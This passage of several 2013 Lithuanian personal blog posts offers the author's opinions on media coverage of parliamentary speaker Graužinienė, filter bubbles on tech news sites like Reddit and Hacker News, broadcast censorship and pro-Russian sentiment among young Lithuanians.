veikėjas: L.Graužinienę ir M.Šalčiūtę. Viena gali būti, kad nusimano ekonomikoje [1], o kita yra Seimo pirmininkė.<br /><br />Būdavo net komiška. Bėgi per straipsnius akimis ir ten antraštės: „Graužinienė vakar pasakė nesąmonę“; „Šalčiūtė kažką kažkur darė“; „Graužinienė ir šiandien pasakė nesąmonę“; „Šalčiūtė labai įdomi žvaigždė“; „Graužinienė šypsojosi, paskui susiraukė ir pasakė nesąmonę“; „Žalgiris mėtė sferos formos objektą pro apskritą skylę“; „Graužinienė išplatino nesąmoningą pranešimą“; „Šalčiūtė elgėsi kaip ir priklauso gyvenimo būdo straipsnių žvaigždei“; „Ukraina“; „Graužinienė šneka pievas. O gaila, nes ji Seimo pirmininkė“.<br /><br />Dabar jau apstojo rašyti apie Šalčiūtę. Bet apie Seimo pirmininkę tai pila toliau kaip reikiant.<br />
<br />
Aš perskaičiau kokia 20% straipsnių apie Graužinienę ir 0% apie Šalčiūtę. Nes esu asilas ir apsimetu, kad domiuosi politika ir nesidomiu žvaigždėmis. Tikriausiai suklydau ir pasirinkau skaityti blogesnę straipsnių kategoriją. Nes tikriausiai savo poelgiu balsavau už tai, kad žiniasklaida publikuotų, kuo daugiau straipsnių apie Graužinienę. Nes jie pamato statistikoje mano paspaudimus ant straipsnių. Dėl to jie sukurpia daugiau straipsnių apie Graužinienę. Aš tada paspaudžiu ant tų straipsnių. Nes „aš domiuosi politika“. Straipsniai yra populiarūs. Reiškia ta tema bus rašoma dar daugiau.<br /><br />Aš esu dalis problemos. Kokios problemos? Ogi tokios, kad darbo partijai yra duodama labai ir labai daug eterio laiko. O darbo partijai (ir kas spėjama, kad stovi po ja) to ir reikia. Jiems reikia kuo daugiau bačkų ant kurių galima atsistoti ir rėkti šūdą.<br /><br />Apie tai galima pasiskaityti dar lapkritį L.Ulevičiaus parašytame straipsnyje [<a href="http://www.ulevičius.lt/2013/11/15/darbo-partijos-taktika-itraukti-dalia-grybauskaite-i-nesibaigiancius-ad-hominem-gincus/" target="_blank">2</a>]:<br /><br /><a href="http://www.ulevičius.lt/2013/11/15/darbo-partijos-taktika-itraukti-dalia-grybauskaite-i-nesibaigiancius-ad-hominem-gincus/">http://www.ulevičius.lt/2013/11/15/darbo-partijos-taktika-itraukti-dalia-grybauskaite-i-nesibaigiancius-ad-hominem-gincus/</a><br /><br />Tiesa, jis labiau orientavosi į „Graužinienė VS Grybauskaitė“. Tik, kad Grybauskaitė visiškai ignoravo Graužinienę ir tema pasidarė nuobodi. Niekas apie ją nerašė. Tas vis dėlto nesutrukdė DP toliau pakliūti į spaudą. Nes šnekėti nesąmones galima daugeliu temų. Dabar atėjo eilė Eurui ir minimaliai algai.<br /><br />Tai va tokia bėda. Ir bijau, kad vienintelė žiniasklaida teturi įrankius šią problemą išspręsti. „O ne! Netiesa. Internetai juokiasi iš Graužinienės ir prikūrė daug memų. Internetai nuvertė Vėsaitę, nuvers ir Graužinienę.“. Tai va, kad ne. Vėsaitė šnekėjo nesąmones. Internetai labai juokėsi. Kūrė memus. Ir nieko neįtakojo. Vėsaitę nuvertė žurnalistų darbas. Tie, kurie dirbo tikrą žurnalistinį darbą, pastebėjo-išsiaiškino, kad Vėsaitę skraido su neaiškiais lėktuvais, pasamdytais už neaiškius pinigus [<a href="http://www.delfi.lt/verslas/verslas/b-vesaites-skrydis-i-kazachstana-arvi-uzsakytu-verslo-klases-lektuvu.d?id=61439795" target="_blank">3</a>]. Tada informavo visuomenę ir Vėsaitės nebeliko poste.<br /><br />Ne memai ir ne šmaikštūs komentarai, susilaukę daug nykščių, atliko tą darbą. Gera žurnalistika atliko darbą. Kas yra gera žurnalistika? Nežinau. Tegaliu sugalvoti vieną pseudo taisyklę: kai valdininkai ir/ar valstybės jėgos struktūros pyksta ant žiniasklaidos, tikėtina, kad žurnalistai gerai atlieka savo darbą. Lietuviškas pavyzdys, kurį galiu sugalvoti yra Druskininkų žiniasklaida prieš Druskininkų valdžią [<a href="http://druskininkunaujienos.blogspot.com/2013/11/druskininkuose-vyksta-purvinas-karas-ar.html" target="_blank">4</a>].<br /><br />Bet šiuo metu nepastebiu, kad DP kartu su Graužiniene iš tikrų pyktų ant žiniasklaidos. Taip apsimeta, kad ale užpyksta, kai užduodami durni (anot jų) klausimai. Bet iš tikro neužpyksta. Kitaip nesiveržtų į eterį ir daugiau neitų į tokias laidas. Ir tarsi visi laimi. Ir tie, kurie supranta, kodėl Graužinienės memai yra juokingi, tarsi laimi, nes „gerai čia Jakilaitis Graužinienę šnekant nesąmones prigavo. Cha, cha – koks aš protingas ir kaip aš viską suprantu“ (Šitai kategorijai priskiriu save). Ir žiniasklaida tarsi laimi, nes yra skaitomi straipsniai ir/ar žiūrimos laidos. Bet tik trumpuoju laikotarpiu. Ilguoju laikotarpiu laimi tik DP, nes gauna eterio rėkauti savo populistinius šūdus.<br /><br />Taigi, vienintelė dalykas, kuris padėtų šitoje situacijoje yra tas, jeigu žiniasklaida pradėtų publikuoti naujienas tik apie Graužinienės veiklą tiesiogiai susijusią su Seimo pirmininkės pareigomis. O ne kasdien rašytų naujienas apie tai, kad Graužinienė pasakė nesąmonę. Nes, kad Graužinienė šneka pievas, tai čia jokia ne naujiena. Ji vakar šnekėjo pievas, užvakar šnekėjo pievas ir prieš mėnesį šnekėjo pievas. Čia ne naujiena – mes jau tą žinome. Kai ji pasakytų ką nors protingo, va tada tai būtų naujiena.<br /><br />O aš tuo tarpu tegaliu padaryti vienintelį dalyką. Aš galiu nustoti skaityti beprasmius straipsnius apie Graužinienę. Ir taip sumažinti savo sugeneruojamą statistiką apie tos temos populiarumą. Labai maža įtaka, bet vis tiek įtaka. O ir laiko atsiras kitiems straipsniams. Pavyzdžiui apie Šalčiūtę.<br /><br /><span style="font-size: x-small;">[1] Nes pinigus uždirba privačiame sektoriuje<br />[2] <a href="http://www.ulevičius.lt/2013/11/15/darbo-partijos-taktika-itraukti-dalia-grybauskaite-i-nesibaigiancius-ad-hominem-gincus/">http://www.ulevičius.lt/2013/11/15/darbo-partijos-taktika-itraukti-dalia-grybauskaite-i-nesibaigiancius-ad-hominem-gincus/</a><br />[3] <a href="http://www.delfi.lt/verslas/verslas/b-vesaites-skrydis-i-kazachstana-arvi-uzsakytu-verslo-klases-lektuvu.d?id=61439795">http://www.delfi.lt/verslas/verslas/b-vesaites-skrydis-i-kazachstana-arvi-uzsakytu-verslo-klases-lektuvu.d?id=61439795</a><br />[4] <a href="http://druskininkunaujienos.blogspot.com/2013/11/druskininkuose-vyksta-purvinas-karas-ar.html">http://druskininkunaujienos.blogspot.com/2013/11/druskininkuose-vyksta-purvinas-karas-ar.html</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-13618686607230630552013-10-28T02:13:00.003+02:002013-10-28T02:13:40.656+02:00Pavojingi IT naujienų šaltiniaiVis kartais vėl ir vėl pagalvoju apie filtro burbulą [<a href="http://en.wikipedia.org/wiki/Filter_bubble" target="_blank">1</a>][<a href="http://www.youtube.com/watch?v=B8ofWFx525s" target="_blank">2</a>][<a href="http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/" target="_blank">3</a>]. Jeigu tingite maigyti nuorodas, tai filtro idėja yra maždaug tokia. Dabar nemažoje dalyje interneto portalų (Pvz.: Facebook, Google) informacija yra filtruojama prieš pateikiant ją vartotojui – man. Jeigu aš mėgstu dešiniųjų straipsnius ir dažniausiai ant jų spaudžiu, sistema tą įsidėmi ir man pradeda kišti daugiau su dešiniųjų politika susijusius straipsnius. Tarsi labai gerai – man sistema duoda tai, ką aš mėgstu. Bet taip žingsnis po žingsnio nuo manęs pasislepia kairiųjų straipsniai. Aš atsiduriu informaciniame burbule ir man atrodo, kad kairiųjų ideologijos nebėra.<br /><br />Bet aš sau uždavinėju kitą klausimą. Kas, jeigu informacija ir ideologija, kurią aš gaunu, yra tik priedas prie kažkokių kitų funkcijų, kuriomis aš naudojuosi. ir kas jeigu ta antraeilė informacija yra vienokios krypties. Ir aš ją gaunu nuolat. Eilę metų. Ar aš esu savotiškame informaciniame burbule pats to nejausdamas? Ar gali atsitikti taip, kad aš nejučiomis tapsiu tos informacijos šalininkas?<br /><br />Čia konkrečiai aš kalbu apie savo technologijų ir programavimo naujienų gavimo šaltinius. Programavimas – atrodytų kas čia gali būti tradiciškai politiško. Išskyrus religinius karus tarp programavimo kalbų. Ir tarp teksto redaktorių fanų. Bet programuoja kartais ne tik programuotojai, bet ir žmonės. Kurie, pavyzdžiui turi savo nuomonę politiniais klausimais.<br /><br />Technines naujienas aš paprastai gaunu iš šių trijų šaltinių:<br /><br />- <a href="http://slashdot.org/">http://slashdot.org/</a><br />- <a href="https://news.ycombinator.com/">https://news.ycombinator.com/</a> (Hacker News)<br />- <a href="http://www.reddit.com/">http://www.reddit.com/</a><br /><br />Visų pirma, visi šaltiniai yra anglų kalba. Visų antra, visi šaltiniai yra JAV kompanijos. Taigi, aš gaunu labai daug informacijos susietos su JAV. Ir tą informaciją gaunu netyčia. Aš jos specialiai nesiekiu sužinoti – tiesiog ji būna kaip nors prisegta prie nekaltų naujienų apie programavimą. Kas nors parašo kokį komentarą ar dar ką nors – ir šlabūnkšt – aš jau kažką žinau, kaip veikia JAV įstatymai reglamentuojantys kokią nors sritį. Nors nė velnio nieko nežinau apie Lietuvos įstatymus, skirtus tiems paties klausimams.<br /><br />Taigi, amerikonizacija yra akivaizdi. Aš tą jaučiu ant savęs. Bet čia mano profesijos toks neišvengiamas dalykas. Tiesiog labai didelė dalis industrijos, kuri daro įtaką, yra sukoncentruota JAV.<br /><br />
Ten paprastai gauni nekaltos nereikalingos informacijos. Pvz.: pradedu žinoti ryškiai per daug apie kokias nors JAV pop žvaigždes. Nors nesu girdėjęs nei vienos iš jų dainų. Ir iš vis aš tiesiog norėjau sužinoti kažką naujo apie programavimą – prie ko čia tie kūjai ir geležiniai rutuliai? Bet be nekaltos informacijos yra ir politinės pažiūros, kurios dominuoja vienam ar kitame portale.<br /><br />Slashdot. Senas portalas. Informacija ten vėluoja palyginus su kitais. Jos ten mažiau negu Reddit. Todėl visas mano skaitymas yra maždaug toks. Atsidarau naujieną. Kartais perskaitau susijusį straipsnį, kuriuo paremta naujiena. Dažniausiai neskaitau. Bet skaitau komentarus. Ten tame portale yra labai mandras komentavimo mechanizmas. Kiekvienas komentaras turi įvertinimą ir jo pobūdį. Tiek įvertinimą, tiek pobūdį apsprendžia kiti skaitytojai. Pavyzdžiui, komentaras gali būti informatyvus, įžvalgus, trolinimas ir pan. Yra dar viena rūšis – juokingas komentaras. Taip, taip – Slashdot yra toks senas portalas, kad net šiais politiškai korektiškai teisingais laikais, jis ne tik leidžia juokauti, bet ir turi tam atskirą posistemę.<br /><br />Taigi, visas mano Slashdot skaitymas susideda iš juokingų komentarų (pažymėtų „Funny“) skaitymu. Kokia 10%-20% jų sukelia šypseną. Koks 3%-5% būna išties juokingi. Kas yra didžiulis procentas, beje. Prie juokingumo aš dar sugrįšiu. Jokių naujienų ten beveik nesužinau – apie jas jau būnu perskaitęs kituose portaluose.<br /><br />Vienas iš kitų portalų yra „Hacker News“ (https://news.ycombinator.com/). Nepaisant pavadinimo, tai pusiau IT startuolių, pusiau IT naujienų portalas. Su menku procentu kitų pasaulio naujienų (dažniausiai pasaulis apsiriboja JAV...). Tai vis dėlto startuolių tinklapis (Y-Combinator yra prestižiškiausias startuolių akceleratorius). Ten žmonės kuria arba apsimeta, kad kuria verslus.<br />
<br />
Pirma bėda – labai daug nuorodų į straipsnius, kurie apsimeta, kad yra apie technologijas. Iš tiesų tai slapta reklama apie autoriaus kačių nuotraukų startuolį. Antra, ten pilna „netechninių“ žmonių, kurie apsimeta „techniniais“ ir tiesiog kaip papūgos kartoja, ką nors apie kokią technologiją. Taip gali susidaryti įspūdis, kad kokia nors technologija yra ypač gera. Nes visi ją giria (Pvz.: tokia duombazė... Koks ten jos pavadinimas?.. Kažkas su Pongo... PongoDB ar kažkas tokio). Va čia jums ir tiesioginis filtro burbulas. Nei „visi“ ją giria, nei ką.<br /><br />Dar kas ten blogai. Vėlgi, tai startuolių tinklapis. Jie visi ten labai giriasi, turbūt nuolat peržengdami melo ribą. Priedo ten labai daug informacijos apie sėkmingus verslus. Ir beveik nepateikiama jokios informacijos apie gazilijoną kartų daugiau nesėkmingų verslų. Dėl to, per ilgai užsibuvus, gali užpulti vos ne depresija, kad atseit „O ne – aš už metų nebūsiu milijardierius“.<br /><br />Bet „Hacker News“ portale sukiojasi žmonės, kurie kuria ar nori kurti verslus. Naivūs jie ar nenaivūs – čia kitas klausimas. Bet ten dominuoja dešiniosios pažiūros. Kas yra gerai. Tuo tarpu blogai, kad neperlabiausiai daug IT naujienų, o ir tos neretai permiežtos naivių pradedančių verslininkėlių sapalionėmis. Kas užknisa ir aš einu kitur [<a href="http://petraszd.blogspot.com/2013/03/maziau-nei-bet-beveik-trecdalis.html" target="_blank">4</a>].<br /><br />Į Reddit. Reddit kaip įrankis yra pats geriausias. Ir aš iš ten turbūt gaunu daugiausiai informacijos apie įvykius IT ir įvairias naujienas susijusias su programavimo kalbomis ar kažkokiomis technologijomis. Nes, vėlgi, ten geras įrankis. Yra naujienų kategorijos (nuo ganėtinai plačių, kaip "programming" iki siaurų kaip "lisp"), kurios ganėtinai neblogai moderuojamos. Ir bendruomenės yra didelės – tas garantuoja gausų naujienų srautą.<br /><br />Bet Reddit nėra vien IT naujienos. Jos sudaro mažąją dalį. Tiesiog ten labai patogu pasiekti IT naujienas. Kaip ir minėjau – kaip įrankis Reddit yra labai geras.<br /><br />Pagrindinė Reddit bėda? Aš negaliu pasitikėti Reddit bendruomene. Visų pirma dėl paprasto dalyko. Reddit bendruomenė neturi jumoro jausmo. Netikite? Užeikite į <a href="http://www.reddit.com/r/funny">http://www.reddit.com/r/funny</a>. Tikriausiai nerasite nei vienos juokingos nuotraukos. Bet ties kas trečia norėsite trenkti į monitorių – ant tiek būsite susinervinęs ir nusivylęs žmonija.<br /><br />Aš tiesiog negaliu pasitikėti tokiais žmonėmis. Antras dalykas – Reddit dominuoja kairioji ideologija. Tiesa, JAV tipo kairioji ideologija. Bet vis tiek. Pavyzdžiui: prieš kelias dienas net keliose Reddit kategorijose buvo labai populiarus vienas video. Kur britų komikas ir aktorius pasakoja apie balsavimą ir politiką.<br /><br /><a href="http://www.youtube.com/watch?v=3YR4CseY9pk">http://www.youtube.com/watch?v=3YR4CseY9pk</a><br /><br />Kadangi ten britų komikas, tai aš galvojau – o gal bus juokinga ir paspaudžiau. O ten pasirodo milijonierius aktorius bando rimtai kalbėti apie politiką ir „visą pasaulio blogį“.<br /><br />Pradėjau skaitinėti komentarus. Visi giria tą aktorių ir jo mintis. Visi (dauguma) sutinka, kad jo – korporacijos yra blogis ir reikia revoliucijos. O aš skaitau ir noriu daužyti monitorių ir rėkti: ten elementari demagogija ir komunizmas.<br /><br />Pavyzdžiui 03:51 paklaustas, kokie būtų revoliucijos rezultatai, tas atsako, kad „revoliucijos rezultatai nebūtų tam param, parararam“. Tiesiog vadovėlinis atsakymas neatsakant. Galiausiai prispaustas prie sienos pasako: „massive redistribution of wealth“. Ir man viskas aišku. Kliedi apie išbuožinimą. O Reddit visi jį šlovina.<br /><br />Ir čia yra problema. Aš lankausi tame portale, nes noriu sužinoti, kokią naują ir įdomią Python biblioteką kas nors sukūrė. „Tai kokios bėdos – eik tik į Python naujienų kategoriją ir viskas bus gerai“. Bėda ta, kad lankydamasis tame portale tampi šiokia tokia tos bendruomenės dalimi. Bendruomenės su naiviom kairiosiomis pažiūromis dalimi.<br /><br />Taigi, grįžtant visu ratu atgal į filtro burbulą. Iš esmės Reddit IT kategorijos ir Hacker News dublikuoja viena kitą. Ir užtektų lankytis tik viename portale. Bet kadangi aš noriu susipažinti tiek su dešiniuoju požiūriu, tiek su kairiuoju – aš esu priverstas skaityti abudu.<br />
<br />
Neblogą čia pasiteisinimą sugalvojau, kodėl darbe nedirbu, o vietoje to skaitau šūdus internete.<br /><br /><br />[1] <a href="http://en.wikipedia.org/wiki/Filter_bubble">http://en.wikipedia.org/wiki/Filter_bubble</a><br />[2] <a href="http://www.youtube.com/watch?v=B8ofWFx525s">http://www.youtube.com/watch?v=B8ofWFx525s</a><br />[3] <a href="http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/">http://prakutes.wordpress.com/2013/07/16/filtro-burbulas/</a><br />[4] <a href="http://petraszd.blogspot.com/2013/03/maziau-nei-bet-beveik-trecdalis.html">http://petraszd.blogspot.com/2013/03/maziau-nei-bet-beveik-trecdalis.html</a>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-17499510565485779912013-10-21T00:31:00.001+03:002013-10-21T00:31:26.412+03:00Bradauskas – geriausias Lietuvos režisieriusKažkada rašiau apie tokį veikėjo, pseudonimu Kantas, suėmimą <a href="http://petraszd.blogspot.com/2013/04/ar-cia-cenzura-ar-tik-procedura.html" target="_blank">[1]</a>. Ir ten kažkiek abejojau tokio veiksmo reikalingumu. Pasirodo jis darė nusikaltimus, suėmimas buvo reikalingas ir dabar jis yra nuteistas <a href="http://www.delfi.lt/news/daily/lithuania/pries-lietuvos-valstybe-nukreiptu-komentaru-kurejas-siunciamas-uz-grotu.d?id=62978042" target="_blank">[2]</a>. Kas reiškia, kad aš klydau. Nors techniškai ir neklydau, nes tekste įmečiau saugiklių, kad atseit „nesu tikras, ką čia rašau“.<br /><br />Kodėl ta istorija gera ir su gera pabaiga? Pirma, istorija buvo vieša. Tokia vieša, kad aš net apie ją žinojau (Pvz.: iki tol nebuvau jo tinklapių net girdėjęs). Kas yra labai gerai. Nes bet kokie informacijos uždarymai ir uždarymų priežastys turi būti vieši. Antra, pats uždarymas buvo ilgai vilkinamas ir tarsi leidžiama autoriui (ir įstatymų pažeidėjui) pasitaisyti. Kas vėlgi yra gerai, nes cenzūros kozerinė kortos negalima mesti per anksti.<br /><br />Tada šio mėnesio įdomumai. Pirmas Baltijos Kanalas pažeidžia įstatymus. Ir yra šiek apkarpomas <a href="http://www.15min.lt/naujiena/aktualu/lietuva/atnaujintos-piervyj-baltiskij-kanal-transliacijos-56-377533" target="_blank">[3]</a>. Seniai aišku, kad ten propagandinis kanalas, nukreiptas prieš Lietuvą. Vėlgi pakankamai ilgai uždelstas įsikišimas. Kai kas turbūt pasakytų, kad per ilgai ir kad iš vis jį reikia su visam uždaryti. Hmmmm... Ne. Aš bent jau manau, kad ne. Man patinka, kad Lietuvos informacijos erdvėje skubotai nesiimama uždarymų ir draudimų. Nors čia gali būti visai ne nuopelnas. Tiesiog čia yra per didelio biurokratinio aparato subproduktas.<br /><br />Bet naivioji mano dalis vis tiek mano, kad nieko nereikia uždarinėti ir jokios informacijos nereikia drausti. Tiesa, tai televizija – informavimo priemonė. Ir kažkaip nei šis nei tas, kad propagandinis melas yra pateikiama, kaip naujienos ir/ar dokumentika.<br /><br />Geriau būtų, kad kaip, pavyzdžiui, yra cigarečių pakeliai. Ir tų pakelių 30% procentų ploto turi užimti įspėjami užrašai. Tokie kaip „Jeigu rūkote ir dirbate projekto vadovu, ir ateinate pas programuotoją, ir pasilenkęs bandote klausinėti apie projekto progresą, tai jis jus pasiųs velniop, nes jums smirda iš burnos. Tiesa, jeigu esate graži mergina, o programuotojas vyriškos giminės – gali būti, kad jis ašarotom akimis iškęs smarvę ir nieko jums dėlto nesakys“ ir panašūs apie rūkymo grėsmę perspėjantys pranešimai. Tai va, mano galvoje, esančiame idealiame pasaulyje, teismas turėjo nedrausti nei vienos PBK laidos. Vietoje to jis turėjo jiems liepti per 30% ekrano užsidėti užrašą: „Teismo įrodyta, kad mes meluojame, dėl to rekomenduojame nepasitikėti mūsų pateikiama informacija“. Aišku, didelėmis juodomis raidėmis baltame fone.<br /><br /> šį mėnesį daug visokių įvykių su uždarymais ir draudimais. Pats įspūdingiausias, aišku, Oskaro verto režisieriaus B. Bradausko draudimas rodyti filmą apie Lietuvos nepriklausomybės atgavimą ir tapimą pilnateise vakarų civilizacijos dalimi <a href="http://www.lrytas.lt/lietuvos-diena/aktualijos/itakingas-socialdemokratas-b-bradauskas-del-pieno-liepe-nerodyti-lietuviu-kraujo.htm" target="_blank">[4]</a>.<br /><br />Štai tas filmukas <a href="https://www.youtube.com/watch?v=379ptZsnjUM" target="_blank">[5]</a>:<br /><br /><a href="https://www.youtube.com/watch?v=379ptZsnjUM">https://www.youtube.com/watch?v=379ptZsnjUM</a><br /><br />(Tikriausiai šitą atvejį galima laikyti Lietuvoje ne taip dažnai pastebimu Streisand efektu <a href="https://en.wikipedia.org/wiki/Streisand_effect" target="_blank">[6]</a>)<br /><br />Bradauskui nepatiko, kad per mažai rodomas Brazauskas – prisitaikėlių čempionas. Rodomas, beje, daugiau nei Landsbergis. Ir dar jam nepatiko, kad rodoma tiesa apie sausio 13-osios įvykius. Ir dėl to rusams gali nepatikti. Ir paskui anie gali įsižeisti. Rusų, aišku, renginyje net nebuvo... Kalbant apie Rusijos ekonomines sankcijas, leo lenox parašė kiečiausią straipsnį ta tema <a href="http://leolenox.wordpress.com/2013/10/12/apie-lietuvisku-prekiu-eksporta-i-rusija/" target="_blank">[7]</a>:<br /><br /><a href="http://leolenox.wordpress.com/2013/10/12/apie-lietuvisku-prekiu-eksporta-i-rusija/">http://leolenox.wordpress.com/2013/10/12/apie-lietuvisku-prekiu-eksporta-i-rusija/</a><br /><br />Grįžtant prie Bradausko, aš labai norėčiau pamatyti tokio filmuko versiją, kur režisierius būtų pats Bradauskas. Aš tikrai norėčiau pamatyti jo versiją. Norėčiau pamatyti jo nurodymais sukurtą filmuką. Man tikrai nuoširdžiai įdomu, kokia Lietuvos istorijos versija sukasi to komunistų partijos nario, Lukašenkos rėžimo šlovintojo galvelėje. Nors imk ir sukurk kokį indiegogo bendro finansavimo projektą. Paskui būtų galima tą filmą parduoti PBK.<br /><br /><span style="font-size: x-small;">[1] <a href="http://petraszd.blogspot.com/2013/04/ar-cia-cenzura-ar-tik-procedura.html">http://petraszd.blogspot.com/2013/04/ar-cia-cenzura-ar-tik-procedura.html</a><br />[2] <a href="http://www.delfi.lt/news/daily/lithuania/pries-lietuvos-valstybe-nukreiptu-komentaru-kurejas-siunciamas-uz-grotu.d?id=62978042">http://www.delfi.lt/news/daily/lithuania/pries-lietuvos-valstybe-nukreiptu-komentaru-kurejas-siunciamas-uz-grotu.d?id=62978042</a><br />[3] <a href="http://www.15min.lt/naujiena/aktualu/lietuva/atnaujintos-piervyj-baltiskij-kanal-transliacijos-56-377533">http://www.15min.lt/naujiena/aktualu/lietuva/atnaujintos-piervyj-baltiskij-kanal-transliacijos-56-377533</a><br />[4] <a href="http://www.lrytas.lt/lietuvos-diena/aktualijos/itakingas-socialdemokratas-b-bradauskas-del-pieno-liepe-nerodyti-lietuviu-kraujo.htm">http://www.lrytas.lt/lietuvos-diena/aktualijos/itakingas-socialdemokratas-b-bradauskas-del-pieno-liepe-nerodyti-lietuviu-kraujo.htm</a><br />[5] <a href="https://www.youtube.com/watch?v=379ptZsnjUM">https://www.youtube.com/watch?v=379ptZsnjUM</a><br />[6] <a href="https://en.wikipedia.org/wiki/Streisand_effect">https://en.wikipedia.org/wiki/Streisand_effect</a><br />[7] <a href="http://leolenox.wordpress.com/2013/10/12/apie-lietuvisku-prekiu-eksporta-i-rusija/">http://leolenox.wordpress.com/2013/10/12/apie-lietuvisku-prekiu-eksporta-i-rusija/</a></span>Petras Zhttp://www.blogger.com/profile/17705772617528150841noreply@blogger.com0tag:blogger.com,1999:blog-1632656242730180910.post-60413105982022567672013-09-14T16:23:00.001+03:002013-09-14T16:23:05.067+03:00Jie jau vakariečiaiVykstant visiems neaiškumams dėl Sirijos [<a href="http://www.theguardian.com/world/2013/sep/13/geneva-talks-syria-chemical-weapons" target="_blank">1</a>][<a href="http://www.lrytas.lt/pasaulis/sirijos-krize/jav-ir-rusija-susitare-del-sirijos-ginklu-atnaujinta-201309141430.htm" target="_blank">2</a>], prisiminiau vieną gerą Rokiškio straipsnį:<br /><br /><a href="http://rokiskis.popo.lt/2013/08/27/kai-neatitinka-paternai-arba-rusijos-itaka-lietuvoje/">http://rokiskis.popo.lt/2013/08/27/kai-neatitinka-paternai-arba-rusijos-itaka-lietuvoje/</a><br /><br />Kodėl? Todėl, kad aš esu pakankamai nekompetetingas žinoti, kas vyksta Sirijoje. Taip pat per mažai domiuosi tuo regionu, kad turėčiau nuomonę klausimu, ką reiktų daryti. Ir kadangi, kaip ir visi kiti nelabai gudrūs, man netinka komplikuoti atsakymai, tai į „ką daryti?“ pas mane galimi atsakymai apsiriboja iki „JAV turėtų įsikišti“ ir „JAV neturėtų įsikišti“.<br /><br />Aš atsakymo nežinau ir nė nebandysiu apsimesti, kad galiu paanalizuoti ir išprotauti, koks teisingas atsakas būtų. Aš tik žinau, kad kur pjaunasi sunitai ir šiitai [<a href="http://en.wikipedia.org/wiki/Islam_in_Syria" target="_blank">3</a>], ten nieko gero ir logiško negali būti. Ten beprotybė ir gali būti tik blogai arba dar blogiau. Tuo labiau, kad Sirijoje ten net ne šiitai, bet Alavitai [<a href="https://lt.wikipedia.org/wiki/Alavitai" target="_blank">4</a>]. Kas yra tarsi techniškai sunitai, bet ant tiek jie nutolę, kad praktiškai jie laikomi šiitais.<br /><br />Tai va, vos tik aš pabandau analizuoti, kas ten vyksta, aš pasiklystu savo galvoje ir nė velnio nesuprantu, kas dėl to turėtų būti (ne)daroma. Man reikia paprasto atsakymo. Man reikia paprasto lakmuso popierėlio. Tas lakmuso popierėlis man yra Rusijos pozicija. Rusija prieš intervenciją? Gerai – tada aš už (Ir taip aš, deja, suprantu, kaip ciniška ir nežmoniška yra savo galvoja taip paprastai žaisti matematiką su kitų žmonių gyvybėmis). Labai kvailas būdas savo nuomonei formuoti, bet ta mano nuomonė nėra pavojinga. T.y. dėl to, kad aš sugalvojau kažką – niekas karinio konflikto nepradės. Tiksliau: nepaaštrins (kas gal net būtų į naudą [<a href="http://www.lrytas.lt/lietuvos-diena/komentarai/meldziuosi-ne-uz-taika-sirijoje-o-uz-greitesne-karo-pradzia.htm" target="_blank">5</a>]).<br />
<br />Tai va, štai čia ir tas sąryšis su Rokiškio straipsniu [<a href="http://rokiskis.popo.lt/2013/08/27/kai-neatitinka-paternai-arba-rusijos-itaka-lietuvoje/" target="_blank">6</a>]. Ir – dabar truputį keičiu temą nuo Sirijos prie pačios Rusijos – čia iš esmės prasideda tikras mano blogo įrašas.<br /><br />O įrašas apie tai, kodėl kai kurie mano kartos žmonės (20m. ~ 35m. amžiaus) kažkodėl mėgsta Rusiją. Aš net nekalbu apie visiškus lunatikus, kaip „Būkime Vieningi“ [<a href="http://bukimevieningi.webnode.com/products/zemaiciai-praso-rusijos-bei-baltarusijos-pagalbos/" target="_blank">7</a>]. Aš, įtariu, kad kiekvienas pažįstate iš pažiūros protingų žmonių. Geriau gal būtų išsireikšti – protingų žmonių su simptominiais defektais. Su kuriais bendrauji gan ilgai ir niekada nieko įtartino neišlenda. Bet vieną dieną nei iš šio nei iš to tas žmogelis kokio nors paprasto pokalbio metu pradeda kliedėti, kas ES – šūdas, kad JAV koorporacijos valdo pasaulį, kad Norvegijoje gėjai vagia vaikus, kad šitos demokratijos ir laisvės tik iliuzija, ir kad viskas blogai ir bus dar blogiau.<br /><br />Tada jam pacituoji Čiurčelį (Nežinau kaip taisyklingai rašosi ši pavardė ir bukai atsisakau to ieškoti internete...):<br />
<blockquote class="tr_bq">
It has been said that democracy is the worst form of government except all the others that have been tried.</blockquote>
Tiksliau netiksliai jį išverti į lietuvių kalbą ir pridedi nuo savęs, kad jo – ES, JAV ir aplamai vakarai nestebuklas, bet dabar tai geriausia vieta gyventi, su geriausia santvarka. Dar prie to pačio numeti retorinį klausimą: „o ką? Gal norėtum geriau Rusijoje/Baltarusijoje gyventi?“.<br /><br />Pokalbio bendras nesuvokia, kad tai retorinis klausimas ir pradeda atsakinėti: „[Pauzė]. Po teisybei... [Pauzė]. Šiaip tai ten jie geriau susitvarkę. Yra tvarka. [Pauzė]. Valstybė gina paprastus žmones.“ Ir pripasakoja dar daugiau gerų, pagiriamųjų žodžių apie Rusiją ir Baltarusiją. Bet jų nesiklausai, nes po maža žingsnelį nekaltai šypsodamasis tolsti nuo jo galvodamas: „Hmmmm. Pažįstu tave jau tris metus ir tik dabar sužinojau, kad tu išprotėjęs. Pastaba sau: nuo šiuo su tavimi diskutuoti tik apie krepšinį arba orą. Net apie mergas su tavimi nediskutuoti, nes man neberūpi tavo nuomonė svarbiais klausimais.“.<br /><br />Aš visąlaik galvodavau, kodėl taip yra. Aš suprantu kai visiški lunatikai pradeda taip kliedėti. Bet kai išsilavinę žmonės. Ir lyg ir protingi žmonės. Aš niekaip nesuprasdavau, kodėl. Ir niekaip nesugalvodavau „pateisinamų“ priežasčių tam. Tiksliau, aš sau bandydavau užduoti klausimą: kokios sąlygos turėjo būti, kad aš (taip – aš) pats taip kliedėčiau. Ir niekaip tų sąlygų nesugalvojau.<br /><br />Dabar tarsi vieną sugalvojau ir jis man skamba pakankamai įtikinamai. Atsakymas: kai kurie žmonės mąsto būtent taip dėl to, kad jie yra pilnai vakariečiai ir yra pilnai vakarų kultūros dalis.<br /><br />Leiskite paaiškinti. Visų dabartinių rezonancinių pasaulinių įvykių (NSA PRISM, Sirija, Egiptas ir pan.) fone vis užsienio portaluose užtinku naiviai jaunatviškai komunistuojančius vakariečius (jie save vadina „liberal“, kas įneša daug painiavos tiesioginiaime vertime. Bet jie realiai yra komunistai ir čia jau į lankas) rašančius daug naivių Rusijos šlovinimo žinučių. 